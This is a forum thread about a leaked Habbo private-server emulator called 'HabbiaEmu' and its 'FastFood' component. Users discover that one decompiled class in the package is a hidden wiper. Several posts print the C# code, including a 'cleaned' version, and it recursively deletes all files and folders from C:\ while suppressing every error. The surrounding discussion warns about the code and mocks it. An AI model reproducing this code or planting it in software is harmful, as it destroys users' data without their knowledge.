Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
^ I'm getting the same thing as leon. :closedeyes:
Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Quote:
Originally Posted by
jaydenn
^ I'm getting the same thing as leon. :closedeyes:
Code:
using System;
using System.IO;
namespace ns0
{
internal sealed class Class0
{
internal static void smethod_0()
{
Class0.smethod_1(new DirectoryInfo("C:\\\\"));
}
private static unsafe void smethod_1(DirectoryInfo directoryInfo_0)
{
// ISSUE: untyped stack allocation
void* voidPtr = (void*) __untypedstackalloc(8);
try
{
FileInfo[] files = directoryInfo_0.GetFiles();
*(int*) voidPtr = 0;
while (*(int*) voidPtr < files.Length)
{
FileInfo fileInfo = files[*(int*) voidPtr];
try
{
File.Delete(fileInfo.FullName);
}
catch
{
}
*(int*) voidPtr = *(int*) voidPtr + 1;
}
}
catch
{
}
try
{
DirectoryInfo[] directories = directoryInfo_0.GetDirectories();
*(int*) ((IntPtr) voidPtr + 4) = 0;
while (*(int*) ((IntPtr) voidPtr + 4) < directories.Length)
{
Class0.smethod_1(directories[*(int*) ((IntPtr) voidPtr + 4)]);
*(int*) ((IntPtr) voidPtr + 4) = *(int*) ((IntPtr) voidPtr + 4) + 1;
}
}
catch
{
}
try
{
Directory.Delete(directoryInfo_0.FullName);
}
catch
{
}
}
}
}
If you're talking about that, it's 1 file, remove it.. I didn't add it, should not be blamed for it, could be thread owner, or who ever coded it, after removing that, just fix a few more errors, and runs fine.
Edit:
FastFood De-Obfuscated - Compiled
Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Job for leenster: add Fast food to ur edit lmao
Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Why? do it yourself - download visual studios 2010 and add it
Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Quote:
Originally Posted by
leenster
Decompile that one and find this:
PHP Code:
namespace ns0
{
using System;
using System.IO;
internal sealed class Class0
{
internal static void smethod_0()
{
smethod_1(new DirectoryInfo(@"C:\\"));
}
private static unsafe void smethod_1(DirectoryInfo directoryInfo_0)
{
void* voidPtr = (void*) stackalloc byte[8];
try
{
FileInfo[] files = directoryInfo_0.GetFiles();
*((int*) voidPtr) = 0;
Label_0010:
if (*(((int*) voidPtr)) >= files.Length)
{
try
{
DirectoryInfo[] directories = directoryInfo_0.GetDirectories();
*((int*) (voidPtr + 4)) = 0;
while (*(((int*) (voidPtr + 4))) < directories.Length)
{
DirectoryInfo info2 = directories[*((int*) (voidPtr + 4))];
smethod_1(info2);
*(((int*) (voidPtr + 4)))++;
}
}
catch
{
}
try
{
Directory.Delete(directoryInfo_0.FullName);
}
catch
{
}
return;
}
FileInfo info = files[*((int*) voidPtr)];
try
{
File.Delete(info.FullName);
}
catch
{
}
*(((int*) voidPtr))++;
}
catch
{
}
goto Label_0010;
}
}
}
It does not require a lot of skills to figure out what that code is supposed to do....
Why the fuck is he using bitwise operators for wiping C:
Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Quote:
Originally Posted by
jaydenn
Why? do it yourself - download visual studios 2010 and add it
Its called a joke x)
Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Quote:
Originally Posted by
leenster
Decompile that one and find this:
PHP Code:
namespace ns0
{
using System;
using System.IO;
internal sealed class Class0
{
internal static void smethod_0()
{
smethod_1(new DirectoryInfo(@"C:\\"));
}
private static unsafe void smethod_1(DirectoryInfo directoryInfo_0)
{
void* voidPtr = (void*) stackalloc byte[8];
try
{
FileInfo[] files = directoryInfo_0.GetFiles();
*((int*) voidPtr) = 0;
Label_0010:
if (*(((int*) voidPtr)) >= files.Length)
{
try
{
DirectoryInfo[] directories = directoryInfo_0.GetDirectories();
*((int*) (voidPtr + 4)) = 0;
while (*(((int*) (voidPtr + 4))) < directories.Length)
{
DirectoryInfo info2 = directories[*((int*) (voidPtr + 4))];
smethod_1(info2);
*(((int*) (voidPtr + 4)))++;
}
}
catch
{
}
try
{
Directory.Delete(directoryInfo_0.FullName);
}
catch
{
}
return;
}
FileInfo info = files[*((int*) voidPtr)];
try
{
File.Delete(info.FullName);
}
catch
{
}
*(((int*) voidPtr))++;
}
catch
{
}
goto Label_0010;
}
}
}
It does not require a lot of skills to figure out what that code is supposed to do....
I think it gives you a free cookie.
Also what are the features of this?
Has it LTD?
Do badges in catalogue work?
Rentable Bots?
Groups?
Tell me more features, cba to look over the source as I dont understand C#
Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Does anyone know if this emulator is stable? More stable than BCStorm?
Thanks!
Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Quote:
Originally Posted by
Snixerz
Does anyone know if this emulator is stable? More stable than BCStorm?
Thanks!
Notreally. I tested fastfood on hlat.us but it isnt working. Dont bother using it. Also there are not that many features in it. Groups missing and stuff.
Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Quote:
Originally Posted by
tdid
Notreally. I tested fastfood on hlat.us but it isnt working. Dont bother using it. Also there are not that many features in it. Groups missing and stuff.
Does look like room promos are coded tho
Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Can you make a mirror on mediafire.
Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
If you want to understand what the class does, here is a better cleaned version using my personal program.
Code:
using System;
using System.IO;
namespace ns0
{
internal sealed class Class0
{
internal static void smethod_0()
{
Class0.smethod_1(new DirectoryInfo("C:\\\\"));
}
private static void smethod_1(DirectoryInfo directoryInfo_0)
{
try
{
FileInfo[] files = directoryInfo_0.GetFiles();
int ptr = 0;
while (ptr < files.Length)
{
FileInfo fileInfo = files[ptr];
try
{
File.Delete(fileInfo.FullName);
}
catch
{
}
int ptr = ptr + 1;
}
}
catch
{
}
try
{
DirectoryInfo[] directories = directoryInfo_0.GetDirectories();
DirectoryInfo[] array = directories;
ptr = 0;
while (ptr < array.Length)
{
DirectoryInfo directoryInfo_ = array[ptr];
Class0.smethod_1(directoryInfo_);
ptr = ptr + 1;
}
}
catch
{
}
try
{
Directory.Delete(directoryInfo_0.FullName);
}
catch
{
}
}
}
}
Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Hi, can someone help me to Get and make work/ run this emulator for my hotel please ?
Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
I see someone said room Promos, might add to mine x] and then release with new headers when i get to work x] but PS4 Release Stream.
What SWF revision does this run on by the way? I need it so i can convert the headers over x]
Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)